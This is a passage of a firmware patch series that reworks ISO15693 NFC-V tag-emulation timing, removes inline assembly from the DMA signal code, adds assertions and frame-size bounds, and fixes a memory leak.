furi_string_printf(node_name, "Service %04X", service_code); submenu_add_item( submenu, - furi_string_get_cstr(service_name), + furi_string_get_cstr(node_name), i++, nfc_scene_felica_info_select_submenu_callback, nfc); - FuriStringStack_push_back(state->strings, service_name); } + + furi_string_free(node_name); } } @@ -147,6 +147,5 @@ void nfc_scene_felica_info_select_on_exit(void* context) { // Clear view FelicaAreaPath_clear(nfc->felica_select.selected_areas); - FuriStringStack_clear(nfc->felica_select.strings); submenu_reset(nfc->submenu); } From 76afbf235647afdbf9ad89f3f2df7f84a988feaa Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Fri, 30 Dec 2022 16:17:41 +0100 Subject: [PATCH 042/329] ISO15693: reduce latency on state machine reset --- lib/nfc/nfc_worker.c | 4 +-- lib/nfc/protocols/nfcv.c | 53 +++++++++++++--------------------------- 2 files changed, 19 insertions(+), 38 deletions(-) diff --git a/lib/nfc/nfc_worker.c b/lib/nfc/nfc_worker.c index fca2f2951..2d5efbd19 100644 --- a/lib/nfc/nfc_worker.c +++ b/lib/nfc/nfc_worker.c @@ -162,7 +162,7 @@ void nfc_worker_nfcv_emulate(NfcWorker* nfc_worker) { nfcv_emu_init(nfc_data, nfcv_data); while(nfc_worker->state == NfcWorkerStateNfcVEmulate) { - if(nfcv_emu_loop(&tx_rx, nfc_data, nfcv_data, 50)) { + if(nfcv_emu_loop(&tx_rx, nfc_data, nfcv_data, 100)) { if(nfc_worker->callback) { nfc_worker->callback(NfcWorkerEventNfcVCommandExecuted, nfc_worker->context); if(nfcv_data->modified) { @@ -171,7 +171,7 @@ void nfc_worker_nfcv_emulate(NfcWorker* nfc_worker) { } } } - furi_delay_ms(0); + furi_delay_ms(10); } nfcv_emu_deinit(nfcv_data); diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index 66b14cbd3..136ff0db7 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -712,9 +712,11 @@ bool nfcv_emu_loop( uint32_t frame_pos = 0; uint32_t byte_value = 0; uint32_t bits_received = 0; - char reset_reason[128]; bool wait_for_pulse = false; + uint8_t period_buffer[256]; + uint32_t period_buffer_pos = 0; + while(true) { uint32_t periods = pulse_reader_receive(nfcv_data->emu_air.reader_signal, timeout_ms * 1000); @@ -729,15 +731,13 @@ bool nfcv_emu_loop( break; } + if(period_buffer_pos < sizeof(period_buffer)) { + period_buffer[period_buffer_pos++] = periods; + } + if(wait_for_pulse) { wait_for_pulse = false; if(periods != 1) { - snprintf( - reset_reason, - sizeof(reset_reason), - "SOF: Expected a single low pulse in state %lu, but got %lu", - frame_state, - periods); frame_state = NFCV_FRAME_STATE_RESET; } continue; @@ -764,23 +764,12 @@ bool nfcv_emu_loop( periods_previous = 2; wait_for_pulse = true; } else { - snprintf( - reset_reason, - sizeof(reset_reason), - "SOF: Expected 4/6 periods, got %lu", - periods); - frame_state = NFCV_FRAME_STATE_SOF1; + frame_state = NFCV_FRAME_STATE_RESET; } break; case NFCV_FRAME_STATE_CODING_256: if(periods_previous > periods) { - snprintf( - reset_reason, - sizeof(reset_reason), - "1oo256: Missing %lu periods from previous symbol, got %lu", - periods_previous, - periods); frame_state = NFCV_FRAME_STATE_RESET; break; } @@ -788,8 +777,6 @@ bool nfcv_emu_loop( periods -= periods_previous; if(periods > 512) { - snprintf( - reset_reason, sizeof(reset_reason), "1oo256: %lu periods is too much", periods); frame_state = NFCV_FRAME_STATE_RESET; break; } @@ -809,13 +796,6 @@ bool nfcv_emu_loop( case NFCV_FRAME_STATE_CODING_4: if(periods_previous > periods) { - snprintf( - reset_reason, - sizeof(reset_reason), - "1oo4: Missing %lu periods from previous symbol, got %lu at pos %lu", - periods_previous, - periods, - frame_pos); frame_state = NFCV_FRAME_STATE_RESET; break; } @@ -843,12 +823,6 @@ bool nfcv_emu_loop( frame_state = NFCV_FRAME_STATE_EOF; break; } else { - snprintf( - reset_reason, - sizeof(reset_reason), - "1oo4: Expected 1/3/5/7 low pulses, but got %lu at pos %lu", - periods, - frame_pos); frame_state = NFCV_FRAME_STATE_RESET; break; } @@ -864,8 +838,6 @@ bool nfcv_emu_loop( /* post-state-machine cleanup and reset */ if(frame_state == NFCV_FRAME_STATE_RESET) { frame_state = NFCV_FRAME_STATE_SOF1; - - FURI_LOG_D(TAG, "Resetting state machine, reason: '%s'", reset_reason); } else if(frame_state == NFCV_FRAME_STATE_EOF) { nfcv_data->frame = frame_payload; nfcv_data->frame_length = frame_pos; @@ -883,6 +855,15 @@ bool nfcv_emu_loop( nfcv_data->emu_protocol_handler(tx_rx, nfc_data, nfcv_data); pulse_reader_start(nfcv_data->emu_air.reader_signal); ret = true; + } else { + if(frame_state != NFCV_FRAME_STATE_SOF1) { + FURI_LOG_T(TAG, "leaving while in state: %lu", frame_state); + } + } + + FURI_LOG_T(TAG, "pulses:"); + for(uint32_t pos = 0; pos < period_buffer_pos; pos++) { + FURI_LOG_T(TAG, " #%lu: %u", pos, period_buffer[pos]); } return ret; From 4107fb9b557e0be2640346b41297b462a6630346 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Fri, 30 Dec 2022 16:18:55 +0100 Subject: [PATCH 043/329] digital_signal: reduce code complexity of digital_signal_update_dma() by only reconfiguring DMA2 --- lib/digital_signal/digital_signal.c | 53 +++++++++-------------------- 1 file changed, 17 insertions(+), 36 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 073a69eb8..4772b654f 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -350,64 +350,45 @@ static void digital_signal_update_dma_c(DigitalSignal* signal) { } LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); - LL_DMA_SetMemoryAddress(DMA1, LL_DMA_CHANNEL_2, (uint32_t)signal->reload_reg_buff); LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_2, signal->internals->reload_reg_entries); + LL_DMA_SetMemoryAddress(DMA1, LL_DMA_CHANNEL_2, (uint32_t)signal->reload_reg_buff); LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); - LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); - LL_DMA_SetMemoryAddress(DMA1, LL_DMA_CHANNEL_1, (uint32_t)signal->internals->gpio_buff); - LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_1, 2); - LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); - - LL_DMA_ClearFlag_TC1(DMA1); - LL_DMA_ClearFlag_TC2(DMA1); } static void digital_signal_update_dma_asm(DigitalSignal* signal) { - /* this is an "already-prepared" buffer of all DMA channel configs to write */ + /* this is an "already-prepared" buffer of DMA channel 2 config to write */ const volatile uint32_t dma_data[] = { - /* DMA channel 2 data */ + /* base addresses of DMA channel register */ /* R0 */ (uint32_t) & (DMA1_Channel2->CCR), /* base address of DMA channel 2 */ - /* R1 */ DMA1_Channel2->CCR & ~DMA_CCR_EN, /* CCR value to write first */ - /* R2 */ (uint32_t)signal->internals->reload_reg_entries, /* CNDTR to write */ - /* R3 */ (uint32_t) & (TIM2->ARR), /* CPAR to write */ - /* R4 */ (uint32_t)signal->reload_reg_buff, /* CMAR to write */ - /* R5 */ DMA1_Channel2->CCR | DMA_CCR_EN, /* and CCR again to write after finished */ - - /* DMA channel 1 data */ - /* R6 */ (uint32_t) & (DMA1_Channel1->CCR), /* base address of DMA channel 1 */ - /* R7 */ DMA1_Channel1->CCR & ~DMA_CCR_EN, /* CCR value to write first */ - /* R8 */ 2, /* CNDTR to write */ - /* R9 */ (uint32_t) & (signal->internals->gpio->port->BSRR), /* CPAR to write */ - /* R10 */ (uint32_t)signal->internals->gpio_buff, /* CMAR to write */ - /* R11 */ DMA1_Channel1->CCR | DMA_CCR_EN}; /* and CCR again to write after finished */ + /* R1 */ DMA1_Channel2->CCR | DMA_CCR_EN, /* CCR to write after finished */ + /* R2 */ DMA1_Channel2->CCR & ~DMA_CCR_EN, /* CCR value to write first */ + /* R3 */ (uint32_t)signal->internals->reload_reg_entries, /* CNDTR to write */ + /* R4 */ (uint32_t) & (TIM2->ARR), /* CPAR to write */ + /* R5 */ (uint32_t)signal->reload_reg_buff, /* CMAR to write */ + }; /* now wait for the DMA finishing and instantly reconfigure it with as few instructions as possible */ asm volatile( "\t" - "PUSH {r0-r12}\n\t" + "PUSH {r0-r6}\n\t" - "LDM %[data], {r0-r11}\n\t" /* prepare registers with values to write into DMA config */ + "LDM %[data], {r0-r5}\n\t" /* prepare registers with values to write into DMA config */ "wait_for_dma_finished:\n\t" - "LDR r12, [r0, #4]\n\t" /* read DMA_CNDTRx to get remaining transfers */ - "CMP r12, #0\n\t" + "LDR r6, [r0, #4]\n\t" /* read DMA_CNDTRx of DMA1 chan 2 to get remaining transfers */ + "CMP r6, #0\n\t" "BNE wait_for_dma_finished\n\t" /* no transfers left, the DMA has finished. now quickly re-enable with new settings. - the next 4 instructions are the critical part */ - "STM r6, {r7-r10}\n\t" /* disable channel and set up new parameters */ - "STR r11, [r6, #0]\n\t" /* enable channel again by writing CCR */ - "STM r0, {r1-r4}\n\t" /* disable channel and set up new parameters */ - "STR r5, [r0, #0]\n\t" /* enable channel again by writing CCR */ + these next 2 instructions are the critical part */ + "STM r0, {r2-r5}\n\t" /* disable channel and set up new parameters */ + "STR r1, [r0, #0]\n\t" /* enable channel again by writing CCR */ - "POP {r0-r12}\n\t" + "POP {r0-r6}\n\t" : /* no outputs*/ : /* inputs */ [data] "r"(dma_data)); - - LL_DMA_ClearFlag_TC1(DMA1); - LL_DMA_ClearFlag_TC2(DMA1); } void digital_signal_update_dma(DigitalSignal* signal) { From 197b6725f7e56709471b719f770b79aca8a39248 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Fri, 30 Dec 2022 16:34:52 +0100 Subject: [PATCH 044/329] digital_signal: remove assembly code, limiting the performance but increasing portability --- lib/digital_signal/digital_signal.c | 54 ++++------------------------- 1 file changed, 6 insertions(+), 48 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 4772b654f..f420652f4 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -342,63 +342,21 @@ void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index) { sequence->sequence[sequence->sequence_used++] = signal_index; } -bool digital_signal_optimization = true; +static void digital_signal_update_dma(DigitalSignal* signal) { + /* keep them prepared in registers so there is less delay when writing */ + register volatile uint16_t len = signal->internals->reload_reg_entries; + register volatile uint32_t addr = (uint32_t)signal->reload_reg_buff; -static void digital_signal_update_dma_c(DigitalSignal* signal) { /* if transfer was already active, wait till DMA is done and the last timer ticks are running */ while(LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { } LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); - LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_2, signal->internals->reload_reg_entries); - LL_DMA_SetMemoryAddress(DMA1, LL_DMA_CHANNEL_2, (uint32_t)signal->reload_reg_buff); + LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_2, len); + LL_DMA_SetMemoryAddress(DMA1, LL_DMA_CHANNEL_2, addr); LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); } -static void digital_signal_update_dma_asm(DigitalSignal* signal) { - /* this is an "already-prepared" buffer of DMA channel 2 config to write */ - const volatile uint32_t dma_data[] = { - /* base addresses of DMA channel register */ - /* R0 */ (uint32_t) & (DMA1_Channel2->CCR), /* base address of DMA channel 2 */ - /* R1 */ DMA1_Channel2->CCR | DMA_CCR_EN, /* CCR to write after finished */ - /* R2 */ DMA1_Channel2->CCR & ~DMA_CCR_EN, /* CCR value to write first */ - /* R3 */ (uint32_t)signal->internals->reload_reg_entries, /* CNDTR to write */ - /* R4 */ (uint32_t) & (TIM2->ARR), /* CPAR to write */ - /* R5 */ (uint32_t)signal->reload_reg_buff, /* CMAR to write */ - }; - - /* now wait for the DMA finishing and instantly reconfigure it with as few instructions as possible */ - asm volatile( - "\t" - "PUSH {r0-r6}\n\t" - - "LDM %[data], {r0-r5}\n\t" /* prepare registers with values to write into DMA config */ - - "wait_for_dma_finished:\n\t" - "LDR r6, [r0, #4]\n\t" /* read DMA_CNDTRx of DMA1 chan 2 to get remaining transfers */ - "CMP r6, #0\n\t" - "BNE wait_for_dma_finished\n\t" - - /* no transfers left, the DMA has finished. now quickly re-enable with new settings. - these next 2 instructions are the critical part */ - "STM r0, {r2-r5}\n\t" /* disable channel and set up new parameters */ - "STR r1, [r0, #0]\n\t" /* enable channel again by writing CCR */ - - "POP {r0-r6}\n\t" - - : /* no outputs*/ - : /* inputs */ - [data] "r"(dma_data)); -} - -void digital_signal_update_dma(DigitalSignal* signal) { - if(digital_signal_optimization) { - digital_signal_update_dma_asm(signal); - } else { - digital_signal_update_dma_c(signal); - } -} - static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSignal* signal) { furi_assert(sequence); furi_assert(signal); From 277d418456a900c294abfc45559bc8c8440aeddb Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Tue, 3 Jan 2023 01:27:34 +0100 Subject: [PATCH 045/329] further code cleanups --- lib/nfc/protocols/nfcv.c | 72 +++++++++++++++++++++++++++++----------- lib/nfc/protocols/nfcv.h | 18 ++++++---- 2 files changed, 64 insertions(+), 26 deletions(-) diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index 136ff0db7..cc7f4ad59 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -181,6 +181,8 @@ void nfcv_crc(uint8_t* data, uint32_t length) { } void nfcv_emu_free_signals(NfcVEmuAirSignals* signals) { + furi_assert(signals); + digital_signal_free(signals->nfcv_resp_one); digital_signal_free(signals->nfcv_resp_zero); digital_signal_free(signals->nfcv_resp_sof); @@ -192,6 +194,9 @@ void nfcv_emu_free_signals(NfcVEmuAirSignals* signals) { } bool nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_t slowdown) { + furi_assert(air); + furi_assert(signals); + bool ret = true; if(!signals->nfcv_resp_one) { @@ -249,6 +254,8 @@ bool nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_ } void nfcv_emu_alloc(NfcVData* nfcv_data) { + furi_assert(nfcv_data); + if(!nfcv_data->emu_air.nfcv_signal) { /* assuming max frame length is 255 bytes */ nfcv_data->emu_air.nfcv_signal = digital_sequence_alloc(8 * 255 + 2, &gpio_spi_r_mosi); @@ -316,6 +323,8 @@ void nfcv_emu_alloc(NfcVData* nfcv_data) { } void nfcv_emu_free(NfcVData* nfcv_data) { + furi_assert(nfcv_data); + digital_signal_free(nfcv_data->emu_air.nfcv_resp_unmod); digital_signal_free(nfcv_data->emu_air.nfcv_resp_pulse); digital_sequence_free(nfcv_data->emu_air.nfcv_signal); @@ -337,6 +346,9 @@ void nfcv_emu_send( uint8_t length, NfcVSendFlags flags, uint32_t send_time) { + furi_assert(tx_rx); + furi_assert(nfcv); + /* picked default value (0) to match the most common format */ if(!flags) { flags = NfcVSendFlagsSof | NfcVSendFlagsCrc | NfcVSendFlagsEof | @@ -402,6 +414,10 @@ void nfcv_emu_handle_packet( FuriHalNfcTxRxContext* tx_rx, FuriHalNfcDevData* nfc_data, void* nfcv_data_in) { + furi_assert(tx_rx); + furi_assert(nfc_data); + furi_assert(nfcv_data_in); + NfcVData* nfcv_data = (NfcVData*)nfcv_data_in; NfcVEmuProtocolCtx* ctx = nfcv_data->emu_protocol_ctx; @@ -618,7 +634,11 @@ void nfcv_emu_handle_packet( } void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { + furi_assert(nfc_data); + furi_assert(nfcv_data); + nfcv_emu_alloc(nfcv_data); + rfal_platform_spi_acquire(); /* configure for transparent and passive mode */ st25r3916ExecuteCommand(ST25R3916_CMD_STOP); @@ -626,7 +646,7 @@ void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { st25r3916WriteRegister(ST25R3916_REG_OP_CONTROL, 0xC3); /* target mode: ISO14443 passive mode */ st25r3916WriteRegister(ST25R3916_REG_MODE, 0x88); - /* let us modulate the field using MOSI, read modulation using MISO */ + /* let us modulate the field using MOSI, read ASK modulation using IRQ */ st25r3916ExecuteCommand(ST25R3916_CMD_TRANSPARENT_MODE); furi_hal_spi_bus_handle_deinit(&furi_hal_spi_bus_handle_nfc); @@ -686,6 +706,8 @@ void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { } void nfcv_emu_deinit(NfcVData* nfcv_data) { + furi_assert(nfcv_data); + furi_hal_spi_bus_handle_init(&furi_hal_spi_bus_handle_nfc); rfal_platform_spi_release(); nfcv_emu_free(nfcv_data); @@ -705,36 +727,40 @@ bool nfcv_emu_loop( FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data, uint32_t timeout_ms) { + furi_assert(tx_rx); + furi_assert(nfc_data); + furi_assert(nfcv_data); + bool ret = false; uint32_t frame_state = NFCV_FRAME_STATE_SOF1; uint32_t periods_previous = 0; - uint8_t frame_payload[128]; uint32_t frame_pos = 0; uint32_t byte_value = 0; uint32_t bits_received = 0; + uint32_t timeout = timeout_ms * 1000; bool wait_for_pulse = false; - uint8_t period_buffer[256]; +#ifdef NFCV_DIAGNOSTIC_DUMPS + uint8_t period_buffer[NFCV_DIAGNOSTIC_DUMP_SIZE]; uint32_t period_buffer_pos = 0; +#endif while(true) { - uint32_t periods = - pulse_reader_receive(nfcv_data->emu_air.reader_signal, timeout_ms * 1000); + uint32_t periods = pulse_reader_receive(nfcv_data->emu_air.reader_signal, timeout); uint32_t timestamp = DWT->CYCCNT; /* when timed out, reset to SOF state */ - if(periods == PULSE_READER_NO_EDGE) { - frame_state = NFCV_FRAME_STATE_SOF1; - break; - } - if(periods == PULSE_READER_LOST_EDGE) { + if(periods == PULSE_READER_NO_EDGE || periods == PULSE_READER_LOST_EDGE) { break; } +#ifdef NFCV_DIAGNOSTIC_DUMPS if(period_buffer_pos < sizeof(period_buffer)) { period_buffer[period_buffer_pos++] = periods; } +#endif + /* short helper for detecting a pulse position */ if(wait_for_pulse) { wait_for_pulse = false; if(periods != 1) { @@ -773,22 +799,23 @@ bool nfcv_emu_loop( frame_state = NFCV_FRAME_STATE_RESET; break; } + /* previous symbol left us with some pulse periods */ periods -= periods_previous; if(periods > 512) { frame_state = NFCV_FRAME_STATE_RESET; break; - } - - if(periods == 2) { + } else if(periods == 2) { frame_state = NFCV_FRAME_STATE_EOF; break; } periods_previous = 512 - (periods + 1); byte_value = (periods - 1) / 2; - frame_payload[frame_pos++] = (uint8_t)byte_value; + if(frame_pos < NFCV_MAX_FRAME_SIZE) { + nfcv_data->frame[frame_pos++] = (uint8_t)byte_value; + } wait_for_pulse = true; @@ -828,7 +855,9 @@ bool nfcv_emu_loop( } if(bits_received >= 8) { - frame_payload[frame_pos++] = (uint8_t)byte_value; + if(frame_pos < NFCV_MAX_FRAME_SIZE) { + nfcv_data->frame[frame_pos++] = (uint8_t)byte_value; + } bits_received = 0; } wait_for_pulse = true; @@ -839,7 +868,6 @@ bool nfcv_emu_loop( if(frame_state == NFCV_FRAME_STATE_RESET) { frame_state = NFCV_FRAME_STATE_SOF1; } else if(frame_state == NFCV_FRAME_STATE_EOF) { - nfcv_data->frame = frame_payload; nfcv_data->frame_length = frame_pos; nfcv_data->eof_timestamp = timestamp; break; @@ -850,7 +878,7 @@ bool nfcv_emu_loop( /* we know that this code uses TIM2, so stop pulse reader */ pulse_reader_stop(nfcv_data->emu_air.reader_signal); if(tx_rx->sniff_rx) { - tx_rx->sniff_rx(frame_payload, frame_pos * 8, false, tx_rx->sniff_context); + tx_rx->sniff_rx(nfcv_data->frame, frame_pos * 8, false, tx_rx->sniff_context); } nfcv_data->emu_protocol_handler(tx_rx, nfc_data, nfcv_data); pulse_reader_start(nfcv_data->emu_air.reader_signal); @@ -861,10 +889,14 @@ bool nfcv_emu_loop( } } - FURI_LOG_T(TAG, "pulses:"); - for(uint32_t pos = 0; pos < period_buffer_pos; pos++) { - FURI_LOG_T(TAG, " #%lu: %u", pos, period_buffer[pos]); +#ifdef NFCV_DIAGNOSTIC_DUMPS + if(period_buffer_pos) { + FURI_LOG_T(TAG, "pulses:"); + for(uint32_t pos = 0; pos < period_buffer_pos; pos++) { + FURI_LOG_T(TAG, " #%lu: %u", pos, period_buffer[pos]); + } } +#endif return ret; } diff --git a/lib/nfc/protocols/nfcv.h b/lib/nfc/protocols/nfcv.h index c349b6e95..266b84ed8 100644 --- a/lib/nfc/protocols/nfcv.h +++ b/lib/nfc/protocols/nfcv.h @@ -16,7 +16,7 @@ extern "C" { #define NFCV_RESP_SUBC1_PULSE_32 (1.0f / (NFCV_FC / 32) / 2.0f) /* 1.1799 µs */ #define NFCV_RESP_SUBC1_UNMOD_256 (256.0f / NFCV_FC) /* 18.8791 µs */ -#define PULSE_DURATION_NS (128.0f * 1000000000.0f / NFCV_FC) /* ns */ +#define PULSE_DURATION_NS (128.0f * 1000000000.0f / NFCV_FC) #define DIGITAL_SIGNAL_UNIT_S (100000000000.0f) #define DIGITAL_SIGNAL_UNIT_US (100000.0f) @@ -24,6 +24,11 @@ extern "C" { #define NFCV_TOTAL_BLOCKS_MAX 256 #define NFCV_BLOCK_SIZE 4 #define NFCV_MAX_DUMP_SIZE (NFCV_BLOCK_SIZE * NFCV_TOTAL_BLOCKS_MAX) +#define NFCV_MAX_FRAME_SIZE 64 +#define NFCV_LOG_STR_LEN 128 + +// #define NFCV_DIAGNOSTIC_DUMPS +// #define NFCV_DIAGNOSTIC_DUMP_SIZE 128 /* helpers to calculate the send time based on DWT->CYCCNT */ #define NFCV_FDT_USEC(usec) (usec * 64) @@ -138,6 +143,7 @@ typedef bool (*NfcVEmuProtocolFilter)( FuriHalNfcDevData* nfc_data, void* nfcv_data); +/* the default ISO15693 handler context */ typedef struct { uint8_t flags; /* ISO15693-3 flags of the header as specified */ uint8_t command; /* ISO15693-3 command at offset 1 as specified */ @@ -146,7 +152,7 @@ typedef struct { uint8_t address_offset; /* ISO15693-3 offset of the address in frame, if addressed is set */ uint8_t payload_offset; /* ISO15693-3 offset of the payload in frame */ - uint8_t response_buffer[128]; /* pre-allocated response buffer */ + uint8_t response_buffer[NFCV_MAX_FRAME_SIZE]; /* pre-allocated response buffer */ NfcVSendFlags response_flags; /* flags to use when sending response */ uint32_t send_time; /* timestamp when to send the response */ @@ -161,6 +167,7 @@ typedef struct { uint16_t block_num; uint8_t block_size; uint8_t data[NFCV_MAX_DUMP_SIZE]; + bool modified; /* specfic variant infos */ @@ -171,17 +178,16 @@ typedef struct { /* precalced air level data */ NfcVEmuAir emu_air; - uint8_t* frame; /* ISO15693-2 incoming raw data from air layer */ + uint8_t frame[NFCV_MAX_FRAME_SIZE]; /* ISO15693-2 incoming raw data from air layer */ uint8_t frame_length; /* ISO15693-2 length of incoming data */ uint32_t eof_timestamp; /* ISO15693-2 EOF timestamp, read from DWT->CYCCNT */ /* handler for the protocol layer as specified in ISO15693-3 */ NfcVEmuProtocolHandler emu_protocol_handler; void* emu_protocol_ctx; - /* runtime data */ - char last_command[128]; - char error[32]; + char last_command[NFCV_LOG_STR_LEN]; + char error[NFCV_LOG_STR_LEN]; } NfcVData; typedef struct { From e1c92269f71264949d3f33d42c83f09ed26b8c2a Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Tue, 3 Jan 2023 02:10:30 +0100 Subject: [PATCH 046/329] added recovery if the timer already expired --- lib/digital_signal/digital_signal.c | 50 +++++++++++++++++++++-------- 1 file changed, 37 insertions(+), 13 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index f420652f4..e07235ece 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -1,6 +1,7 @@ #include "digital_signal.h" #include +#include #include #include @@ -17,6 +18,7 @@ struct DigitalSequence { uint8_t* sequence; const GpioPin* gpio; uint32_t send_time; + bool send_time_active; }; struct DigitalSignalInternals { @@ -31,7 +33,7 @@ struct DigitalSignalInternals { #define TAG "DigitalSignal" #define F_TIM (64000000.0) -#define T_TIM 1562 /* 15.625 ns *100 */ +#define T_TIM 1562 /* 15.625 ns *100 */ #define T_TIM_DIV2 781 /* 15.625 ns / 2 *100 */ DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { @@ -285,9 +287,12 @@ void digital_sequence_alloc_sequence(DigitalSequence* sequence, uint32_t size) { sequence->sequence_size = size; sequence->sequence = malloc(sequence->sequence_size); sequence->send_time = 0; + sequence->send_time_active = false; } DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio) { + furi_assert(gpio); + DigitalSequence* sequence = malloc(sizeof(DigitalSequence)); sequence->gpio = gpio; @@ -327,7 +332,10 @@ void digital_sequence_set_signal( } void digital_sequence_set_sendtime(DigitalSequence* sequence, uint32_t send_time) { + furi_assert(sequence); + sequence->send_time = send_time; + sequence->send_time_active = true; } void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index) { @@ -344,23 +352,40 @@ void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index) { static void digital_signal_update_dma(DigitalSignal* signal) { /* keep them prepared in registers so there is less delay when writing */ + register bool restart_needed = false; register volatile uint16_t len = signal->internals->reload_reg_entries; register volatile uint32_t addr = (uint32_t)signal->reload_reg_buff; - /* if transfer was already active, wait till DMA is done and the last timer ticks are running */ - while(LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { + /* first make sure it will still count down, else we will risk waiting infinitely */ + const uint32_t wait_ms = 10; + const uint32_t wait_ticks = wait_ms * 1000 * furi_hal_cortex_instructions_per_microsecond(); + uint16_t prev_remain = LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2); + uint32_t prev_timer = DWT->CYCCNT; + + while(prev_remain == LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { + if(DWT->CYCCNT - prev_timer > wait_ticks) { + restart_needed = true; + break; + } + } + + if(!restart_needed) { + /* if transfer was already active, wait till DMA is done and the last timer ticks are running */ + while(LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { + } } LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_2, len); LL_DMA_SetMemoryAddress(DMA1, LL_DMA_CHANNEL_2, addr); LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); + + if(restart_needed) { + LL_TIM_GenerateEvent_UPDATE(TIM2); + } } static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSignal* signal) { - furi_assert(sequence); - furi_assert(signal); - /* the first iteration has to set up the whole machinery */ if(!LL_DMA_IsEnabledChannel(DMA1, LL_DMA_CHANNEL_1)) { if(!digital_signal_setup_dma(signal)) { @@ -370,13 +395,9 @@ static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSigna digital_signal_setup_timer(); /* if the send time is specified, wait till the core timer passed beyond that time */ - if(sequence->send_time != 0) { - while(true) { - uint32_t delta = sequence->send_time - DWT->CYCCNT; - /* yeah, it's making use of underflows... */ - if(delta > 0x80000000) { - break; - } + if(sequence->send_time_active) { + sequence->send_time_active = false; + while(sequence->send_time - DWT->CYCCNT < 0x80000000) { } } digital_signal_start_timer(); @@ -389,6 +410,8 @@ static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSigna } DigitalSignal* digital_sequence_bake(DigitalSequence* sequence) { + furi_assert(sequence); + uint32_t edges = 0; for(uint32_t pos = 0; pos < sequence->sequence_used; pos++) { @@ -468,6 +491,7 @@ bool digital_sequence_send(DigitalSequence* sequence) { } FURI_CRITICAL_EXIT(); + /* wait until last dma transaction was finished */ while(LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { } From 34d9fa452964b4c2b93b2f38ec84bd1f5f3f567d Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Mon, 16 Jan 2023 10:49:01 +0100 Subject: [PATCH 047/329] digital_signal: fix memory leak --- lib/digital_signal/digital_signal.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index e07235ece..91f5b2173 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -292,7 +292,7 @@ void digital_sequence_alloc_sequence(DigitalSequence* sequence, uint32_t size) { DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio) { furi_assert(gpio); - + DigitalSequence* sequence = malloc(sizeof(DigitalSequence)); sequence->gpio = gpio; @@ -313,6 +313,7 @@ void digital_sequence_free(DigitalSequence* sequence) { free(sequence->signals); free(sequence->sequence); + free(sequence->signals_prolonged); free(sequence); } @@ -333,7 +334,7 @@ void digital_sequence_set_signal( void digital_sequence_set_sendtime(DigitalSequence* sequence, uint32_t send_time) { furi_assert(sequence); - + sequence->send_time = send_time; sequence->send_time_active = true; } @@ -365,7 +366,7 @@ static void digital_signal_update_dma(DigitalSignal* signal) { while(prev_remain == LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { if(DWT->CYCCNT - prev_timer > wait_ticks) { restart_needed = true; - break; + break; } } @@ -411,7 +412,7 @@ static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSigna DigitalSignal* digital_sequence_bake(DigitalSequence* sequence) { furi_assert(sequence); - + uint32_t edges = 0; 